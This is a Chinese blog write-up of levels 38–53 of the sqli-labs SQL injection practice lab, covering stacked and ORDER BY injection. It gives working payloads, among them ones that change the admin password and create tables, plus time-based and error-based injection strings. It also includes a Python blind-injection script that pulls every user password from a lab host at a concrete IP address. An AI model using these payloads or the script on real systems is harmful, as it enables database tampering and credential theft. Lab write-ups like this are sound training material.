0
点赞
收藏
分享

微信扫一扫

[SQL注入][Stacked injection]sqli-labs学习记录(38-53关)


学习记录

  • ​​前置知识​​
  • ​​堆叠注入​​
  • ​​order by 相关注入​​
  • ​​简单介绍​​
  • ​​注入方法​​
  • ​​procedure analyse参数后注入​​
  • ​​第38关 ------ 简单堆叠注入​​
  • ​​第39关 ------ 数字型+堆叠注入​​
  • ​​第40关 ------ 闭合`')`+堆叠注入​​
  • ​​第41关 ------ 盲注+堆叠注入​​
  • ​​第42关 ------ POST型+堆叠注入​​
  • ​​第43关 ------ 类似42关(堆叠注入)​​
  • ​​第44关 ------ 盲注+堆叠注入​​
  • ​​第45关 ------ 盲注 + 堆叠注入​​
  • ​​第46关 ------ order by 注入​​
  • ​​第47关 ------ 浪费时间的题​​
  • ​​第48关 ------ 浪费时间的题​​
  • ​​第49关 ------ 浪费时间的辣鸡题、​​
  • ​​第50关 ------ order by stacked injection(参考Mysql天书)​​
  • ​​第51关 ------ 训练堆叠注入​​
  • ​​第52和53关 ------ 无回显​​

前置知识

堆叠注入

本来想写的,但是网上一堆堆就不班门弄斧了,看师傅们的吧
​​​堆叠注入详解​​

order by 相关注入

简单介绍

以sql 语句为例​​$sql = "SELECT * FROM users ORDER BY $id";​​​ 试​​?sort=1 desc 或者 asc​​,显示结果不同,则表明可以注入。(升序 or 降序排列)对应英文单词descending,ascending
我们可利用 order by 后的一些参数进行注入

注入方法

  • 1.直接添加注入语句,?sort=(select ******)
  • 2.利用一些函数。例如 rand()函数等。?sort=rand(sql 语句)
    比如说rand(true/false)
  • 3.利用 and,例如?sort=1 and (sql 语句)。
  • 当然还可以使用报错注入等方式,但需要针对不同的情形

procedure analyse参数后注入

通常我们可以利用它与sort函数一起执行报错注入
procedure analyse()函数是MySQL内置的对MySQL字段值进行统计分析后给出建议的字段类型。
语法:

procesure analyse(max_elements,max_memory)

max_elements
指定每列非重复值的最大值,当超过这个值的时候,MySQL不会推荐enum类型。
max_memory
analyse()为每列找出所有非重复值所采用的最大内存大小。

第38关 ------ 简单堆叠注入

经过简单的测试我们推测sql语句为:

​SELECT * FROM users WHERE id='$id' LIMIT 0,1​

[SQL注入][Stacked injection]sqli-labs学习记录(38-53关)_sql


成功插入语句hhh

[SQL注入][Stacked injection]sqli-labs学习记录(38-53关)_mysql_02

第39关 ------ 数字型+堆叠注入

经过简单的测试我们推测sql语句为:

​SELECT * FROM users WHERE id=$id LIMIT 0,1​​ 之后采用堆叠注入插入数据

[SQL注入][Stacked injection]sqli-labs学习记录(38-53关)_sql语句_03


测试数据,成功hhh

[SQL注入][Stacked injection]sqli-labs学习记录(38-53关)_sql_04

第40关 ------ 闭合')+堆叠注入

经过简单的测试我们推测sql语句为:

​SELECT * FROM users WHERE id=('$id') LIMIT 0,1​​ 之后采用堆叠注入插入数据,成功执行

[SQL注入][Stacked injection]sqli-labs学习记录(38-53关)_sql语句_05


查询成功hhh

[SQL注入][Stacked injection]sqli-labs学习记录(38-53关)_mysql_06

第41关 ------ 盲注+堆叠注入

经过简单的测试我们推测sql语句为:

​SELECT * FROM users WHERE id=$id LIMIT 0,1​​,与39关差不多哈,就是没了错误回显

[SQL注入][Stacked injection]sqli-labs学习记录(38-53关)_sql_07


这一关不插入太多数据了,用update语句修改下发现没问题

[SQL注入][Stacked injection]sqli-labs学习记录(38-53关)_sql语句_08

第42关 ------ POST型+堆叠注入

首先看源码,很明显得从password注入

[SQL注入][Stacked injection]sqli-labs学习记录(38-53关)_sql_09


通过判断得到sql语句

​SELECT * FROM users WHERE username='$username' and password='$password'​

[SQL注入][Stacked injection]sqli-labs学习记录(38-53关)_mysql_10


密码输入​​1';sql语句;​

第43关 ------ 类似42关(堆叠注入)

没有waf,只是sql语句改成了:
​​​SELECT * FROM users WHERE username=('$username') and password=('$password')​​​ 利用语句:
​c');你的sql语句;#​

第44关 ------ 盲注+堆叠注入

与42关一样,只是这关没有报错信息;试一下修改admin密码

​1';update users set password = '2' where username = 'admin';--​​ 修改成功,再次用原来的密码登录就会报错

[SQL注入][Stacked injection]sqli-labs学习记录(38-53关)_mysql_11

第45关 ------ 盲注 + 堆叠注入

算了这关老实一点,通过测试发现sql语句为:

​"SELECT * FROM users WHERE username=('$username') and password=('$password')"​​ 我们测试一下把密码改回来;

​2');update users set password = '1' where username = 'admin';--​

用密码为1登录,发现没问题哈哈哈

[SQL注入][Stacked injection]sqli-labs学习记录(38-53关)_sql语句_12

第46关 ------ order by 注入

这里我选择了盲注,根据rand的true与false的不同

import requests
from bs4 import BeautifulSoup

url = "http://139.196.26.141:8082/Less-46/?sort=rand("

result = ''
i = 0

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) >> 1
payload = f'ascii(substr((select group_concat(password) from users),{i},1))>{mid})'
r = requests.get(url+payload)
soup = BeautifulSoup(r.text, 'lxml')
if 'admin3' in soup.find_all("td")[1]:
head = mid + 1
else:
tail = mid

if head != 32:
result += chr(head)
else:
break
print(result)

当然也可以使用延时的
​​​sort=1%20and%20If(ascii(substr(database(),1,1))=116,0,sleep (5))​​​不过一般很慢不喜欢
对于报错注入也可以加上​​​procedure analyse​​​来执行
​​​sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)​

第47关 ------ 浪费时间的题

与上一关差不多就是加了个​​'​​​而已,
​​​/?sort=1' and rand(false)--+​​​可以配合盲注很简单不多说
procedure analyse 参数后注入也行看上面,延时注入也行很简单,其他都不想说了,浪费时间的一关

第48关 ------ 浪费时间的题

本关与 less-46 的区别在于报错注入不能使用,不进行错误回显,因此其他的方法我们依旧 是可以使用的。 可以利用 sort=rand(true/false)进行判断。
​​​?sort=rand(ascii(left(database(),1))=178)​​​ And 后的延时注入​​sort=1%20and%20(If(ascii(substr(database(),1,1))=115,0,slee p(5)))​​不看了无聊的题

第49关 ------ 浪费时间的辣鸡题、

有啥好做的无聊,和47关没区别,就是没错无回显

[SQL注入][Stacked injection]sqli-labs学习记录(38-53关)_mysql_13

第50关 ------ order by stacked injection(参考Mysql天书)

执行 sql 语句我们这里使用的是 mysqli_multi_query()函数,而之前我们使用的是 mysqli _query(),区别在于 mysqli_multi_query()可以执行多个 sql 语句,而 mysqli_query()只能执行 一个 sql 语句,那么我们此处就可以执行多个 sql 语句进行注入,也就是我们之前提到的 sta tcked injection。
这里我们上述用到的方法依旧是可行的,我们这里就不重复了,这里就看下 stacked in jection。我们直接构造 payload:
​​​sort=1;create table less50 like u​

第51关 ------ 训练堆叠注入

它的sql语句是​​sql="SELECT * FROM users ORDER BY '$id'";​​​ 所以构造如下即可无聊
​sort=1’;create table less50 like u​

第52和53关 ------ 无回显

这题我觉得做的意义不太大,和前面一样只是没错无回显了


举报

相关推荐

0 条评论